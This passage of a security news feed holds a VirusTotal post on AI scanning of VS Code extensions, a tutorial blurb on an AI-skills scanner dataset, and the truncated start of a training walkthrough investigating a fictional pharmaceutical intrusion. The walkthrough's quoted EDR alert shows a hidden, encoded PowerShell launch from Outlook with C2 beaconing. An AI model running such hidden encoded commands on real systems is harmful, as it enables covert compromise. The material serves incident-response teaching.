<content:encoded><![CDATA[<p>We’re adding a new specialist to VirusTotal’s Crowdsourced AI lineup: <a href="https://knostic.ai/)">Knostic</a>'s AgentMesh Agentic Security Supply Chain Reputation Engine. We are partnering with them to analyze Visual Studio Code extension (.VSIX) files. This complements our existing Code Insight and other AI contributors by helping developers, platform engineers, and security teams better understand the security profile of extensions and detect supply-chain threats before installing them.
</p>
<p><b>Why VS Code Extensions Matter</b></p>
<p>Even putting aside the recent GitHub data breach, resulting from a malicious VS Code extensions, with the rise of IDE-based AI coding assistants and specialized developer tools, Visual Studio Code extensions have become central to modern development workflows. However, this has also made them prime targets for supply-chain attacks. Malicious actors have been caught publishing seemingly benign extensions that secretly download payloads, perform remote code execution, steal credentials, or silently exfiltrate proprietary source code and sensitive environment variables.</p><p>
</p><p><b>What you get in VirusTotal</b></p>
<ul>
  <li><u>Second opinion for .VSX</u>: Knostic adds a specialized AI-driven analysis stream specifically for `.VSIX` packages. This provides security teams with an independent assessment of extension files, helping to identify both critical vulnerabilities and deliberate backdoor behaviors.
  </li><li><u>Clear Verdicts and Risk Levels </u>: Knostic analyzes files and assigns a clear scan verdict (BENIGN, SUSPICIOUS, or MALICIOUS) coupled with a risk level (such as SAFE, MEDIUM, or CRITICAL) along with detailed descriptions of detected risk indicators.
  </li><li><u>Pivot and Search at Scane in VT Intelligence</u>: Security analysts can now search and filter across Knostic results using newly indexed operators:
    *   `knostic_ai_verdict:malicious | suspicious | benign`
    *   `knostic_ai_analysis:<keywords>`

  <ul>
    <li><i>knostic_ai_verdict:malicious | suspicious | benign</i> 
    </li><li><i>knostic_ai_analysis:[keywords]</i>
  </li></ul>
<p><b>Exploring Real-World Examples</b></p><p>
</p><p>To illustrate how Knostic’s AgentMesh works in practice, let’s explore some real VS Code extensions that have been analyzed::</p>
<center>
    <div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgknOmOWMCkOlfT4IUABGPnyauys3qa7zow-vkgrRrXqPkoay8DmT0xPFGT2l4W3HV5OIQHJx_7rzmwYju0I3c5UhXIl7raDrkZhAuXCQDEYCzUJejHi3jGStlLnWe1yaijz3wEWgXXdQGUHBnTVOutEdpi5TOgdCDlnFyYdj-soF1pghlmLsdQyUhijeo/s1600/Knostic%20cfdf72c510670341dce392ab250a5f5ff2a398d993d1106fb8026ec6397cb393.png"><img alt="" border="0" data-original-height="645" data-original-width="1436" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgknOmOWMCkOlfT4IUABGPnyauys3qa7zow-vkgrRrXqPkoay8DmT0xPFGT2l4W3HV5OIQHJx_7rzmwYju0I3c5UhXIl7raDrkZhAuXCQDEYCzUJejHi3jGStlLnWe1yaijz3wEWgXXdQGUHBnTVOutEdpi5TOgdCDlnFyYdj-soF1pghlmLsdQyUhijeo/s1600/Knostic%20cfdf72c510670341dce392ab250a5f5ff2a398d993d1106fb8026ec6397cb393.png"></a></div>
<a href="https://www.virustotal.com/gui/file/cfdf72c510670341dce392ab250a5f5ff2a398d993d1106fb8026ec6397cb393"><span><span>cfdf72c510670341dce392ab250a5f5ff2a398d993d1106fb8026ec6397cb393</span></span></a>
</center>
<br>    
<center>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd5hTGe1uDHjUDcIPaJpvrHZrzxt-PlziBq6yFZQGEfMq8D-r7OyGbamTc9Rq6guyqUSLRkYTtollT9Y2eibwH9Mb99RMAh62ncoHHSYqUE7UjcRQTfgWCab3Z9UJEmtvjCjeyXVCdESMx-uHq5g34t77epb0OPPDDML5ZTOUwmcTO48LXUyrKJBOg3o8/s1600/Knostic%203dc62e65586a9aeeb8521e7824d48abd59cec209d68b87f73a9bbadbd98dc51a.png"><img alt="" border="0" data-original-height="503" data-original-width="1436" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd5hTGe1uDHjUDcIPaJpvrHZrzxt-PlziBq6yFZQGEfMq8D-r7OyGbamTc9Rq6guyqUSLRkYTtollT9Y2eibwH9Mb99RMAh62ncoHHSYqUE7UjcRQTfgWCab3Z9UJEmtvjCjeyXVCdESMx-uHq5g34t77epb0OPPDDML5ZTOUwmcTO48LXUyrKJBOg3o8/s1600/Knostic%203dc62e65586a9aeeb8521e7824d48abd59cec209d68b87f73a9bbadbd98dc51a.png"></a></div>
<a href="https://www.virustotal.com/gui/file/3dc62e65586a9aeeb8521e7824d48abd59cec209d68b87f73a9bbadbd98dc51a"><span><span>3dc62e65586a9aeeb8521e7824d48abd59cec209d68b87f73a9bbadbd98dc51a</span></span></a>
</center>
<br>
<p><b>About Knostic</b></p>
    <p><a href="https://knostic.ai/">Knostic</a> discovers and defends agents and coding assistants, as well as their peripheral supply chain (e.g., extensions, skills, MCP servers). Through its Kirin platform and AgentMesh threat intelligence engine, Knostic helps enterprises govern how AI agents and developer extensions interact with internal systems and private data, neutralizing supply-chain risks at the source.</p>
<p>VT Crowdsourced AI is about aggregating independent AI solutions that explain behavior and provide judgments across many file types, helping you understand unfamiliar code faster and spot novel threats sooner. If you build AI solutions that can help the community, we want to hear from you. 
</p></keywords></li></ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[ClawHub Security Signals: A Coding Guide to End-to-End Security Signal Analysis and Verdict Classification on the AI Skills Dataset]]></title>
<description><![CDATA[In this tutorial, we explore the ClawHub Security Signals dataset to see how scanners assess AI skills. We load the data from the Hugging Face Parquet conversion and inspect verdicts, scanner outputs, and severity labels. We measure how VirusTotal, static analysis, and SkillSpector overlap and di...]]></description>
<link>https://tsecurity.de/de/3582585/ai-nachrichten/clawhub-security-signals-a-coding-guide-to-end-to-end-security-signal-analysis-and-verdict-classification-on-the-ai-skills-dataset/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3582585/ai-nachrichten/clawhub-security-signals-a-coding-guide-to-end-to-end-security-signal-analysis-and-verdict-classification-on-the-ai-skills-dataset/</guid>
<pubDate>Mon, 08 Jun 2026 21:02:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this tutorial, we explore the ClawHub Security Signals dataset to see how scanners assess AI skills. We load the data from the Hugging Face Parquet conversion and inspect verdicts, scanner outputs, and severity labels. We measure how VirusTotal, static analysis, and SkillSpector overlap and disagree using Jaccard scores and Cohen's kappa. Finally, we combine SKILL.md text with scanner signals to train a logistic regression model for ClawScan verdicts.</p>
<p>The post <a href="https://www.marktechpost.com/2026/06/08/clawhub-security-signals-a-coding-guide-to-end-to-end-security-signal-analysis-and-verdict-classification-on-the-ai-skills-dataset/">ClawHub Security Signals: A Coding Guide to End-to-End Security Signal Analysis and Verdict Classification on the AI Skills Dataset</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma]]></title>
<description><![CDATA[A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.Based on the methodol...]]></description>
<link>https://tsecurity.de/de/3580443/hacking/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580443/hacking/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma/</guid>
<pubDate>Mon, 08 Jun 2026 06:38:21 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><strong>A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8B3xIJssFbBTn0IvOu6Ng.png"></figure><p><em>All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.</em></p><h3>Based on the methodology: “CTI as a Code”</h3><p><a href="https://medium.com/@1200km/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46">CTI as a Code: Complete Step-by-Step Methodology</a></p><h3>Contents</h3><ol><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#276c"><strong>The Scenario</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#8c81"><strong>Step 00: Clone, Initialize, and Fill the Template</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#cd59"><strong>Step 0: Intake — What the First Call Captures</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#999a"><strong>Step 1–2: Project Setup and Scope</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#7b9a"><strong>Step R1: Evidence Inventory — What Exists and What Is Missing</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#a778"><strong>Step R1.5: Hands-On Evidence Analysis — VS Code Investigation</strong></a><strong><br></strong><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#966d">1. CrowdStrike Alert — JSON in VS Code</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#2702">2. Decode the PowerShell Payload</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#2db4">3. M365 Message Trace — Rainbow CSV</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#13b3">4. Azure AD Sign-In Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#6238">5. VPN Log Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#b73e">6. NGFW Log Analysis — Rainbow CSV</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#a734">7. SQL Audit Log Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#ecca">8. Windows Security Event Log Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#13de">9. Cross-File Pivot — VS Code Global Search</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#9a59">10. IOC Enrichment — REST Client</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#0bd0">11. Sandbox Analysis — Submit the Binary</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#da15">12. Static Binary Analysis — Hex Editor + Terminal</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#97f1">13. Infrastructure Pivot — REST Client + Global Search</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#c0c4">14. Splunk Correlation (SIEM Validation)</a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#5829"><strong>Step R2: Timeline — Two Paths, One Actor</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#06d0"><strong>Step R3: Claims Ledger — Every Assertion Traced to Evidence</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#bc78"><strong>Step R4: ATT&amp;CK Mapping — Where Detection Failed</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#7d71"><strong>Step R5: Attribution Assessment — Same Actor or Two?</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#b2e8"><strong>Step R6: Detection Rules — Four That Would Have Changed the Outcome</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#d8bd"><strong>Step R7: Deliverables — What Each Stakeholder Gets</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#cf97"><strong>The Git History: What a Completed Investigation Looks Like</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#5f5a"><strong>Key Lessons</strong></a></li></ol><h3>The Scenario</h3><p><strong>LifeTech Pharma Ltd.</strong> is a mid-sized Israeli pharmaceutical company in Rehovot. It develops and manufactures generic drugs and biological APIs, exports to the US, EU, and MENA, and recently signed a $52 million licensing deal with a US biopharma partner. The signed formula files are stored on SERVER-RD-02\LicenseDeals\USPartner2024\ — 47 files, approximately 380 MB compressed.</p><p>On <strong>Friday, 15 November 2024 at 18:47 IST</strong>, the on-call SOC analyst receives a CrowdStrike behavioral detection:</p><pre>ALERT: Suspicious PowerShell Activity<br>Severity: High — Behavioral IOA<br>Host: WS-CFO-01.lifetechpharma.local  [Michal Cohen, CFO]<br>Process: powershell.exe (PID 3784)<br>Parent: OUTLOOK.EXE (PID 2240)<br>CommandLine: powershell.exe -NonI -W Hidden -Enc JABjAD0ATgBlAHcA...<br>Timestamp: 2024-11-15T18:42:33Z</pre><p>That’s the visible trigger. The actual breach started <strong>24 days earlier</strong> — and the alert is the second of two entry points, not the first.</p><h3>Step 00: Clone, Initialize, and Fill the Template</h3><p><strong>Before the phone rings.</strong> This step takes three minutes and is done once per investigation — ideally before the alert even comes in, or in the first five minutes after hanging up the initial call.</p><h4>1. Clone the repository (one-time setup)</h4><p>If you have not cloned CTI_as_a_Code yet, do this once on your analyst workstation:</p><pre>cd ~<br>git clone https://github.com/anpa1200/CTI_as_a_Code.git</pre><p>You will never modify this clone. It is your template source. Leave it as-is and pull updates periodically:</p><pre>cd ~/CTI_as_a_Code &amp;&amp; git pull</pre><h4>2. Create your investigations folder</h4><pre>mkdir -p ~/investigations</pre><p>Use any path you prefer — just keep it consistent across all cases. Do not create investigations inside the CTI_as_a_Code clone.</p><h4>3. Copy the reactive template for this case</h4><pre>cp -r ~/CTI_as_a_Code/templates/reactive/ ~/investigations/lifetech-2024-11</pre><p>Naming convention: [org-slug]-[YYYY-MM]. One folder per case. Verify the structure:</p><pre>ls ~/investigations/lifetech-2024-11/<br>tree ~/investigations/lifetech-2024-11/</pre><p>Expected:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*DR69iFmEn8s2K0zCrhXk5A.png"></figure><pre>00-scope/   01-evidence/   02-sources/   03-analysis/<br>04-detections/   05-deliverables/   06-ai-outputs/   07-feedback/<br>README.md   intake-form.md   project.yml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQn6v0h7KSMb9nw5gfYp8Q.png"></figure><h4>4. Initialize git inside the case folder</h4><pre>cd ~/investigations/lifetech-2024-11<br>git init<br>git add .<br>git commit -m "PROJ-2024-001: scaffold initialized from reactive template"</pre><p>This is commit zero. Its purpose is to prove — to a lawyer, an auditor, or yourself — exactly what state you started from before any analysis began.</p><h4>5. Fill in project.yml</h4><p>This file is the single source of truth for project metadata. Open it now:</p><pre>nano project.yml</pre><p>The template has blank fields. Fill every one(During the investigation):</p><pre>project:<br>  id: "PROJ-2024-001"<br>  name: "LifeTech Pharma — Targeted Intrusion"<br>  type: reactive<br>  classification: TLP:AMBER<br>  status: in-progress<br>analyst:<br>  name: "Your Name"<br>  role: "CTI Analyst"<br>  contact: "your@email.com"<br>timeline:<br>  incident_date: "2024-11-15"<br>  detection_date: "2024-11-15"<br>  investigation_start: "2024-11-15"<br>  report_due: "2024-11-17"         # INCD 72h clock - expires 18:47 IST Nov 17<br>pirs:<br>  - id: PIR-001<br>    question: "Was the US licensing formula package (SERVER-RD-02\\USPartner2024\\) accessed or exfiltrated? If so, what and when?"<br>    priority: high<br>    status: open<br>  - id: PIR-002<br>    question: "How did the adversary gain initial access - phishing, credential theft, or exploitation?"<br>    priority: high<br>    status: open<br>  - id: PIR-003<br>    question: "Is there evidence of ongoing access or persistence as of investigation date?"<br>    priority: high<br>    status: open<br>scope:<br>  systems:<br>    - WS-CFO-01<br>    - WS-IT-LEVI<br>    - SERVER-RD-02<br>    - SERVER-FIN-01<br>    - DC01<br>  threat_actor: unknown<br>  attck_techniques: []             # leave blank now - fill during R4<br>deliverables:<br>  - type: executive-brief<br>    status: pending<br>  - type: soc-handoff<br>    status: pending<br>  - type: sigma-rules<br>    count: 0<br>    status: pending<br>notes: "INCD 72h notification clock starts 2024-11-15 18:47 IST. Legal hold on WS-IT-LEVI - no hardware access, RTR only."</pre><p><strong>Do not leave any field as </strong><strong>"" or </strong><strong>[] if you know the value.</strong> Unknown fields are fine — write unknown explicitly. A blank field means "forgot to fill in." unknown means "we looked and do not know yet."</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S90ed0BEsiZXgIu4G3ia5Q.png"></figure><h4>6. Commit the filled metadata</h4><pre>git add project.yml<br>git commit -m "PROJ-2024-001: project.yml filled — 3 PIRs, INCD deadline 2024-11-17 18:47 IST, legal hold WS-IT-LEVI"</pre><p>The folder is now named, scoped, and version-controlled. The intake call can begin.</p><h3>Step 0: Intake — What the First Call Captures</h3><p>Before opening Splunk, before pivoting on the C2 IP, before forming a hypothesis — the intake call runs. This is 15 minutes with the Tier 2 escalation and the IR Lead before any analysis work begins.</p><p>The intake captures facts that change what you look for.</p><p><strong>Open the intake form before dialing:</strong></p><pre>cp intake-form.md 00-scope/intake-2024-11-15.md<br>nano 00-scope/intake-2024-11-15.md</pre><p>The template has 9 sections. Work through them in order during the call — do not paraphrase in real time, write what the reporter says verbatim. You will analyze it after. For LifeTech this call produces:</p><pre># Investigation Intake — PROJ-2024-001 — 2024-11-15<br><br>Completed by: On-call CTI analyst (Yael Mizrahi)<br>Intake call with: Noa Ben-David (IR Lead), Ran Katz (SOC Manager)<br>Call time: 2024-11-15 18:55 IST<br><br>---<br><br>## 1. What was reported?<br><br>**1.1 What did you see or receive that caused you to raise this?**<br>"CrowdStrike fired a high-severity behavioral IOA on Michal Cohen's workstation —<br>PowerShell with base64 payload launched directly from Outlook. Tier 1 pulled the<br>network tab and found 3 outbound connections to 203.0.113.87 over the last 15<br>minutes. This is the CFO's machine. We escalated immediately."<br><br>**1.2 Where did this first come to your attention?**<br>- [x] Alert from SIEM / EDR / AV  ← CrowdStrike Falcon behavioral IOA, severity: High<br><br>**1.3 When did you first notice it?**<br>Date: 2024-11-15   Time: 18:47   Timezone: IST (UTC+2)<br><br>**1.4 Do you believe the activity is still ongoing?**<br>- [x] Yes — still active (C2 connections still firing at time of call)<br><br>---<br><br>## 2. What is already known?<br><br>**2.1 What systems, accounts, or services appear to be involved?**<br>- WS-CFO-01.lifetechpharma.local — Michal Cohen, CFO. Dell Latitude, Windows 11.<br>- 203.0.113.87 — external IP, destination of C2 connections. Not in any allowlist.<br>- OUTLOOK.EXE (PID 2240) → powershell.exe (PID 3784) — parent-child confirmed.<br>- No other hosts identified yet — investigation is 8 minutes old.<br><br>**2.2 What was the observed behavior?**<br>"PowerShell with -NonI -W Hidden -Enc flags spawned from Outlook. The encoded<br>command has not been decoded yet. Three separate TCP connections to 203.0.113.87<br>on port 443 over 15 minutes — looks like a beacon pattern."<br><br>**2.3 Has anyone else already investigated or looked into this?**<br>- [x] Yes — Tier 1 analyst (Omer Cohen) ran initial Splunk queries (last 1 hour only).<br>  What did they touch: read-only Splunk queries. No changes to the endpoint.<br><br>**2.4 What do you think happened?**<br>"Probably a phishing email with a malicious attachment — xlsm macro or something<br>similar. Michal must have opened it in the last few hours. We don't know if anyone<br>else was targeted."<br><br>---<br><br>## 3. Timeline of discovery<br><br>**3.1 When do you believe the activity started?**<br>- [ ] Known<br>- [x] Estimated: activity on WS-CFO-01 started approximately 18:42 IST (PowerShell<br>  launch timestamp from CrowdStrike event).<br><br>**3.2 How long do you estimate the activity has been occurring?**<br>Approximately 13 minutes from first PowerShell event to escalation call (18:42–18:55 IST).<br>However: unknown whether this is the beginning of the intrusion or a later stage.<br><br>**3.3 Is there a specific event that triggered the alert or complaint?**<br>CrowdStrike behavioral IOA fired at 18:42:33 IST on WS-CFO-01. Tier 1 escalated<br>at 18:47. IR Lead paged at 18:52. Intake call started at 18:55.<br><br>---<br><br>## 4. What has already been done?<br><br>**4.1 Has any system been rebooted, shut down, or reimaged since the activity was discovered?**<br>- [x] No — WS-CFO-01 is still running. Not yet isolated.<br><br>**4.2 Have any credentials, tokens, or API keys been rotated or revoked?**<br>- [x] No — no credential changes made yet.<br><br>**4.3 Has any network access been blocked or firewall rules been changed?**<br>- [x] No — 203.0.113.87 has not been blocked. Ran confirmed: "We wanted to check<br>  with you first before blocking — didn't want to tip them off."<br><br>**4.4 Has any malware been deleted or quarantined?**<br>- [x] No — CrowdStrike flagged the process but did not quarantine. Alert status: Detected,<br>  not Prevented (policy is set to Detect-only on this machine — CFO exception policy).<br><br>**4.5 Has anyone notified external parties?**<br>- [x] No — no external notification yet. INCD assessment pending scope confirmation.<br><br>---<br><br>## 5. Systems and access<br><br>**5.1 What logging is expected to exist for the affected systems?**<br>- Endpoint logs (Sysmon, CrowdStrike): [x] Yes — CrowdStrike on WS-CFO-01. Sysmon on<br>  WS-CFO-01. NOTE: Sysmon NOT deployed on server-class machines or DC01.<br>- VPN / authentication logs: [x] Yes — Cisco AnyConnect VPN, logs in Splunk.<br>- Database audit logs: [x] Yes — SQL audit on SERVER-RD-02 (partial EIDs only).<br>- Network flow / firewall logs: [x] Yes — Palo Alto NGFW. RETENTION: 14 days only.<br>  ⚠ SERVER-RD-02 outbound logs will expire 2024-11-29 for today's traffic.<br>- Email gateway logs: [x] Yes — M365 Message Trace, 30-day retention. ATP enabled.<br>  NOTE: ATP sandbox NOT enabled for xlsm files — policy gap identified.<br>- Cloud provider logs: [x] Yes — Azure AD sign-in logs, 30-day retention.<br><br>**5.2 What tools and access does the analyst have?**<br>- [x] Admin access to affected hosts (CrowdStrike RTR for WS-CFO-01, WS-CFO-01 CrowdStrike console)<br>- [x] Read access to SIEM (Splunk — full org)<br>- [x] Access to EDR console (CrowdStrike Falcon — full org view)<br>- [x] Access to network equipment / firewall logs (Palo Alto Panorama — read only)<br>- [x] Access to cloud console (Azure AD — Security Reader role)<br>- [x] Access to email gateway (M365 Security &amp; Compliance — Message Trace)<br>- [ ] VPN / jump host credentials — not yet, request submitted<br>- [x] TheHive / OpenCTI lab access<br><br>**5.3 Are there any systems the analyst should NOT touch?**<br>⚠ WS-IT-LEVI (Paz Levi, IT Admin): LEGAL HOLD issued at 20:45 IST today.<br>  HR investigation underway — UNRELATED to this incident (employment matter).<br>  Hardware access BLOCKED for 48–72 hours per Legal counsel (Adv. Dina Shapiro).<br>  Remote CrowdStrike RTR is PERMITTED — confirmed by Legal.<br>  No memory image, no disk image, no physical access until hold lifted.<br><br>---<br><br>## 6. Business impact<br><br>**6.1 What business processes are affected or at risk?**<br>"The CFO's email and workstation are involved. If this is a full compromise, finance<br>data is at risk. We also have R&amp;D server SERVER-RD-02 — it holds the formula files<br>for the US licensing deal. That deal closes in 6 weeks. If those files were touched,<br>we have an FDA NDA issue and a $52M deal at risk."<br><br>**6.2 Is customer data, employee data, or regulated data potentially involved?**<br>- [x] Yes — type: proprietary formula files under FDA NDA filing (USPartner2024 package,<br>  47 files, ~380 MB). Also: employee financial data on SERVER-FIN-01 if CFO path<br>  extended to finance server.<br><br>**6.3 What is the financial exposure if this is confirmed?**<br>Direct deal risk: $52M US licensing agreement. Regulatory exposure: Israeli Privacy<br>Protection Law (PPL) fines + FDA NDA breach penalties. Reputational exposure: US<br>partner disclosure obligation if formula data confirmed exfiltrated.<br><br>**6.4 Is there a hard deadline driving this investigation?**<br>- [x] Yes — deadline: INCD 72-hour notification window starts from discovery of<br>  breach (not discovery of alert). If formula data or critical infrastructure<br>  involvement confirmed: clock starts NOW → expires 2024-11-17 ~18:47 IST.<br><br>---<br><br>## 7. Regulatory and legal constraints<br><br>**7.1 Are there applicable notification requirements?**<br><br>| Regulation | Applicable? | Deadline | Notified? |<br>|---|---|---|---|<br>| INCD (Israeli critical infrastructure) | TBD — assess after scope confirmed | 72h from discovery | No |<br>| Biometric Database Authority | No — no biometric data at LifeTech | — | N/A |<br>| BoI-CD 362 (Israeli financial) | No — LifeTech is not a financial entity | — | N/A |<br>| GDPR | TBD — EU customers in export data? | 72h from awareness | No |<br>| PCI-DSS | No — no card processing at LifeTech | — | N/A |<br>| Israeli Privacy Protection Law | Yes — employee + partner data in scope | Per PPL — notify DPA if breach confirmed | No |<br>| FDA / NDA obligation | Yes — if formula files confirmed exfiltrated | Immediate notification to US partner | No |<br><br>**7.2 Is there an active legal hold on any systems or data?**<br>- [x] Yes — WS-IT-LEVI (Paz Levi). Legal hold issued 2024-11-15 20:45 IST.<br>  Contact: Adv. Dina Shapiro (Legal). Hold expected: 48–72 hours minimum.<br><br>**7.3 Has legal counsel been notified?**<br>- [x] Yes — Adv. Dina Shapiro notified of the security incident at 19:10 IST.<br>  Advised: do not touch WS-IT-LEVI hardware. RTR permitted with logging.<br><br>---<br><br>## 8. Analyst notes<br><br>(Raw notes taken during call — unprocessed)<br><br>- Ran (SOC): "The CFO is still at the office. We haven't told her yet. Should we?"<br>  → IR Lead decision: do not inform CFO until after memory dump. Risk: she might<br>  reboot the machine.<br>- The CrowdStrike policy on WS-CFO-01 is DETECT-ONLY (CFO exception policy).<br>  This is why the process was not killed automatically. SOC should evaluate<br>  moving to Prevent for exec machines after this incident.<br>- 203.0.113.87 — not blocklisted anywhere in org. Ran says: "It's clean on our<br>  end, never seen it before." Worth enriching immediately (VirusTotal, Shodan).<br>- Memory dump of WS-CFO-01 is urgent — C2 is still active. Process may have<br>  network artifact or decrypted payload in memory. Action: RTR memory dump NOW.<br>- No mention of SERVER-RD-02 during this call — IR Lead is not aware of the<br>  formula file risk yet. Will scope that separately after evidence inventory.<br>- p.levi (WS-IT-LEVI) is under HR investigation for unrelated reason. Legal hold<br>  is coincidental. However: IT admin access + legal hold + security incident<br>  creates a complex situation. Document carefully.<br><br>---<br><br>## 9. Next actions<br><br>| # | Action | Owner | Due |<br>|---|---|---|---|<br>| 1 | Take memory dump of WS-CFO-01 via CrowdStrike RTR before C2 session ends | Yael (CTI) | Immediate |<br>| 2 | Enrich 203.0.113.87 — VirusTotal, Shodan, passive DNS, ASN lookup | Yael (CTI) | Within 30 min |<br>| 3 | Pull M365 Message Trace for m.cohen last 48h — identify delivery vector | Omer (Tier 1) | Within 30 min |<br>| 4 | Retrieve Palo Alto firewall logs for WS-CFO-01 and SERVER-RD-02 — full available window | Ran (SOC) | Within 1h ⚠ retention risk |<br>| 5 | Check Azure AD sign-in logs for m.cohen and p.levi — last 30 days | Yael (CTI) | Within 1h |<br>| 6 | Confirm SERVER-RD-02 USPartner2024 directory access — pull EID 4663 from Splunk | Yael (CTI) | Within 2h |<br>| 7 | Open TheHive case PROJ-2024-001, attach this intake as first observable | Yael (CTI) | Within 30 min |<br>| 8 | Advise IR Lead on INCD 72h clock — confirm if formula data scope triggers mandatory notification | Noa (IR Lead) + Legal | Within 2h |<br><br>---<br><br>*Intake completed 2024-11-15 19:18 IST. File saved as 00-scope/intake-2024-11-15.md.*<br>*Case opened in TheHive: PROJ-2024-001.*<br>```<br><br>Two items in this intake change the entire investigation trajectory: the legal hold on `WS-IT-LEVI` (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.<br><br>The intake commits to git first:</pre><p>Two items in this intake change the entire investigation trajectory: the legal hold on WS-IT-LEVI (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.</p><p>The intake commits to git first:</p><pre>git add 00-scope/intake-2024-11-15.md<br>git commit -m "PROJ-001: intake — CFO PowerShell alert, legal hold on WS-IT-LEVI, formula data in scope"</pre><h3>Step 1–2: Project Setup and Scope</h3><p>The folder and git repo already exist from Step 00. This step fills the scope document and gets stakeholder sign-off before any analysis begins. The rule: <strong>you do not start looking at logs until the scope is committed.</strong></p><h4>1. Open the scope document</h4><pre>nano 00-scope/scope.md</pre><pre># Intelligence Source Registry<br><br>**Project:** PROJ-2024-001 — LifeTech Pharma Targeted Intrusion<br><br>Admiralty Scale: Source reliability A (completely reliable) – F (reliability cannot be judged).  <br>Information reliability: 1 (confirmed) – 6 (truth cannot be judged).<br><br>---<br><br>## Internal Sources<br><br>| ID | Source | Type | Admiralty | Notes |<br>|---|---|---|---|---|<br>| INT-001 | Splunk SIEM | Log aggregation | A/2 | Primary forensic source; full org scope; read-only access. Initial 1h Splunk query by Tier 1 (Omer Cohen) — covered WS-CFO-01 only. |<br>| INT-002 | CrowdStrike Falcon | EDR / endpoint telemetry | A/2 | Deployed on WS-CFO-01, WS-IT-LEVI. NOT deployed on R&amp;D server fleet (12 servers) or DC01. CFO machine on Detect-only policy (not Prevent). |<br>| INT-003 | Palo Alto NGFW 